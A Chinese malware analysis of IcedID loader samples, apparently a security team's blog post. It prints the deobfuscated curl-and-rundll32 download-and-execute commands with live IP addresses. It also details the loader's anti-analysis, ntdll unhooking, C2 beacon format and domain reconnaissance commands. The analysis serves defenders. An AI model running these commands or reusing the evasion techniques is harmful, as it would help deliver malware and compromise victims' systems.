招新小广告运营组招收运营人员、CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组
IcedID,也被称为 BokBot,在2017年被发现时最初为银行木马,后来演变为在受感染系统上分发和安装更多的恶意软件。
基本信息
名称 | MD5 | 压缩包内容 |
---|---|---|
HG.zip | 453846f0c568115c55f327758f76dee4 | XCJPIM.js |
ISK.zip | 524954b01e5f6762c6ebe5bfba7126b1 | 103_AHSJNSKSDL3.img |
YHUDD.zip | 04775a034162eee520609b730a13bcdc | 188_JDHSY373DE34DE.iso |
分析
HG.zip(MD5:453846f0c568115c55f327758f76dee4(https://tria.ge/231128-qvnleaab69))中包含XCJPIM.js(MD5:9a27f10ab1f551a3c29ad199df18f1e9),这个JavaScrip被混淆了,可读性很差。
对于这种程度的混淆,如果考虑静态去混淆,难度相对较大,关于静态去JavaScrip混淆,便不展开赘述了,可参考 https://nerodesu017.github.io/posts/2023-12-01-antibots-part-8 以及其他资料。
优先考虑从动态角度,通过调试或者沙箱,获取最终结果。查看anyrun分析报告(https://app.any.run/tasks/0385b276-343d-4072-95d8-243cded83742/)
cmd.exe /c mkdir C:IfdkijefsetMdiejefkdlgser & curl http://162.55.217.30/gRMS/0.8566793715190715.dat --output C:IfdkijefsetMdiejefkdlgserSkkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX
cmd.exe /c mkdir C:IfdkijefsetMdiejefkdlgser & curl http://157.90.166.88/O3ZlYNW/0.8392080340563924.dat --output C:IfdkijefsetMdiejefkdlgserSkkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX
cmd.exe /c mkdir C:IfdkijefsetMdiejefkdlgser & curl http://128.140.36.37/cQtDIo/0.7071057850127558.dat --output C:IfdkijefsetMdiejefkdlgserSkkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX
cmd.exe /c mkdir C:IfdkijefsetMdiejefkdlgser & curl 0.6060319888374397.dat --output C:IfdkijefsetMdiejefkdlgserSkkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX
cmd.exe /c mkdir C:IfdkijefsetMdiejefkdlgser & curl 0.7111149462612281.dat --output C:IfdkijefsetMdiejefkdlgserSkkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX
cmd.exe /c mkdir C:IfdkijefsetMdiejefkdlgser & curl 0.7869745523679705.dat --output C:IfdkijefsetMdiejefkdlgserSkkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX
cmd.exe /c timeout 10 & rundll32 C:IfdkijefsetMdiejefkdlgserSkkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX,nail
timeout 10
rundll32 C:IfdkijefsetMdiejefkdlgserSkkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX,nail
这些命令大致含义:创建一个名为 “C:IfdkijefsetMdiejefkdlgser” 的文件夹,通过curl依次从不同的指定IP地址下载dat文件并保存到名为 “Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX” 的文件中,然后将其保存到创建的文件夹中,会在10秒后通过rundll32,执行名为“nail”的导出函数。dll文件下载地址:hxxp://162[.]55.217.30/gRMS/0.8566793715190715.dat 、hxxp://157[.]90.166.88/O3ZlYNW/0.8392080340563924.dat 、hxxp://128[.]140.36.37/cQtDIo/0.7071057850127558.dat ,
ISK.zip(MD5:524954b01e5f6762c6ebe5bfba7126b1(https://tria.ge/231128-pnbslahh5w))包含一个名为“103_AHSJNSKSDL3.img”的文件(MD5:39c18b622b44efe2b30df7245f0fa39d),img文件中包含两个文件,分别为:AHSJNSKSDL3.lnk(MD5:e329a92bc95c5a54492a483f8cf61ac1)和version1.dll(MD5:f2f858e7763a1725fffe711267d2af33)
version1.dll被设置为隐藏。
lnk文件中目标为 C:Windowssystem32rundll32.exe version1.dll, nail ,执行名为”nail”的导出函数。
YHUDD.zip(MD5:04775a034162eee520609b730a13bcdc(https://tria.ge/231128-qphg7sac2x))中含有一个名为“188_JDHSY373DE34DE.iso”的文件,iso文件中同样包含一个lnk文件和dll文件,dll文件也被设置为隐藏,lnk文件用于执行version1.dll中的导出函数nail
以ISK.zip的version1.dll为例,进行分析。
导出函数nail中包含大量jmp垃圾指令,干扰调试。
冒泡排序一个数组,数组排序结果为 .//00112233445566778899::;;<<<<====>>>>????@@@@AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMNNOOPPQQRRSSTTUUVVWWXXYYZZ[]^_`abcdefghijklmnopqrstuvw
hash扫描获取函数地址:遍历InMemoryOrderModuleList,计算并对比模块hash(在本样本中,hash值0x99B3B对应模块kernel32.dll),然后定位模块加载基址DllBase,遍历导出表(IMAGE EXPORT DIRECTORYM),(在模块内遍历所有函数,计算hash,与目标函数的hash值进行比较(0xE553A458、0xC38AE110分别对应API:VirtualAlloc、VirtualProtect),函数调用前的指令地址将获取原始返回地址并压栈保存,跳转(jmp)到该函数,在函数调用完成后,返回原始返回地址。VirtualAlloc申请内存,将shellcode拷贝到刚刚申请的内存中,VirtualProtect改变内存属性,调用函数指针执行shellcode。
shellcode在被执行前会被异或解密,下图为加密的shellcode。
执行shellcode的时候,在合适的时机,使用pe-sieve扫描到一个dll(MD5:149a01e233cfc46c78e4009b5cf7eaf6)
定位导出函数scab,sub_180005AC0函数为手动映射ntdll.dll,对映射的ntdll.dll的导出函数进行遍历并计算CRC32,然后预设的CRC32值进行比较,如果匹配则返回导出函数指针地址,目的是为了加载API以及免杀。AV/EDR会对ntdll.dll进行hook监控,手动映射可以实现Unhook,具有一定的免杀效果。
CRC32算法,关键常量0xEDB88320,采用了查表法。
访问PEB的BeingDebugged标志检测是否正在被调试,通过RtlGetVersion(GetVersionExW)检测操作系统版本信息,检测系统中运行的进程数量是否小于预设值(Windows7及以上,包括Windows10 21H2(OS build 22000)系统进程数量不得小于75,win7以下系统进程数量不得小于50),检测操作系统是否是64位,检测网络适配器类型是否为虚拟网络适配器(虚拟网卡)、创建一个名为”runnung“的互斥对象。
获取当前进程信息,包括当前进程所在的路径和名称、当前进程用户的信息等。其中异或解密了一个字符串“Olimp”。
解密C2信息。C2地址为hxxps://peermangoz[.]me/live/ 、 hxxps://aprettopizza[.]world/live/
创建自身副本。创建%appdata%Custom_update目录,并在该目录下创建名为 Update_[da-f]+.dll(如:Update_c399cf5.dll、Update_45c73c14.dll等)的文件。通过计划任务实现持久化,每当用户登录时,便会rundll执行nail导出函数。
解密标准base64码表。
创建一个线程,解密字符串“123456”,1800次低时间NtDelayExecution,效果类似于Sleep 180s
将下图中的信息,经RC4加密,base64编码后发送至C2,RC4的key为123456。
counter=0 //计数器
&type=1 //类型
&guid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx //全局唯一标识符 (GUID)
&os=6 //操作系统版本
&arch=1 //架构
&username=xxxxxx //用户名
&group=445271760 //群组ID
&ver=1.1 //版本
&up=3 //可能是uplaod速率
&direction=peermangoz.me //C2
&mac=00:0c:xx:xx:xx:xx; //MAC地址
&computername=DESKTOP-xxxxxxx //计算机名称
&domain=- //域名
查看字符串信息,PDB信息:c:tempdebug.pd ,这个dll名称为Bottmp64.dll,在data段显然包含其他信息,需要进一步分析。
与C2通信,接收解密数据并解析指令。
命令表
命令 | 含义 |
---|---|
20 | |
19 | |
18 | 从目标服务器files目录下载bp.dat并或加载执行 |
17 | 退出进程 |
15 | 自我更新并写入Custom_update目录 |
14 | 下载shellcode并加载到内存中,创建线程执行 |
13 | 下载dll,指定参数执行或直接加载 |
12 | 下载exe并创建进程执行 |
4 | 创建线程获取系统信息和网络信息 |
3 | 获取进程列表信息 |
2 | 获取桌面链接 |
proclist进程列表字段有:pid(进程ID)、proc(进程)、subproc(子进程)
通过CMD命令查询并收集获取系统信息和网络信息,如下表:
字段 | CMD命令 | 含义 |
---|---|---|
&ipconfig | ipconfig /all | 获取本地计算机的网络配置信息 |
&systeminfo | systeminfo | 获取本地计算机的系统信息 |
&domain_trusts | nltest /domain_trusts | 获取当前域的信任关系信息 |
&domain_trusts_all | nltest /domain_trusts /all_trusts | 获取所有信任关系的信息 |
&net_view_all_domain | net view /all /domain | 判断存在域 |
&net_view_all | net view /all | 获取当前局域网中可用的计算机和共享资源 |
&net_group | net group “Domain Admins” /domain | 获取指定域中“Domain Admins”组的成员 |
&wmic | wmic.exe /node:localhost /namespace:\rootSecurityCenter2 path AntiVirusProduct Get DisplayName |findstr /V /B /C:displayName ||echo No Antivirus installed | 获取本地计算机上安装的杀毒软件的名称,并且如果未安装,则输出 “No Antivirus installed” |
&net_config_ws | net config workstation | 获取工作站的配置信息。 |
&net_wmic_av | wmic.exe /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | 获取正在运行的杀软软件信息 |
&whoami_group | whoami /groups | 获取当前用户所属的用户组信息 |
YHUDD.zip文件中.iso中的JDHSY373DE34DE.lnk(MD5:e329a92bc95c5a54492a483f8cf61ac1)和version1.dll(MD5:b940f9dc5e1f90b9366af62399d9b147)与YHUDD.zip中的手法基本一致,便不再赘述。
IOCs
参考链接
1.https://bazaar.abuse.ch/sample/33cf7da7038defe4719b662e2e658b6c59ad592e427b9bd45f813369074a6996/2.https://bazaar.abuse.ch/sample/20258d38e142bb349a5f5446f0152fcc3a9402d36094f3e59e69f64496636dad/3.https://bazaar.abuse.ch/sample/8ace5462fafb950876b4315c580eb13bf1018a1815abf07c6efda8434943cc54/4.https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing/5.https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/6.https://www.resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise7.https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d398.https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/9.https://www.netresec.com/?page=Blog&month=2023-10&post=Forensic-Timeline-of-an-IcedID-Infection10.https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/11.https://scripts.itarian.com/frontend/web/topic/display-all-installed-or-active-anti-viruses-from-an-endpoint
原文始发于微信公众号(ChaMd5安全团队):IcedID木马分析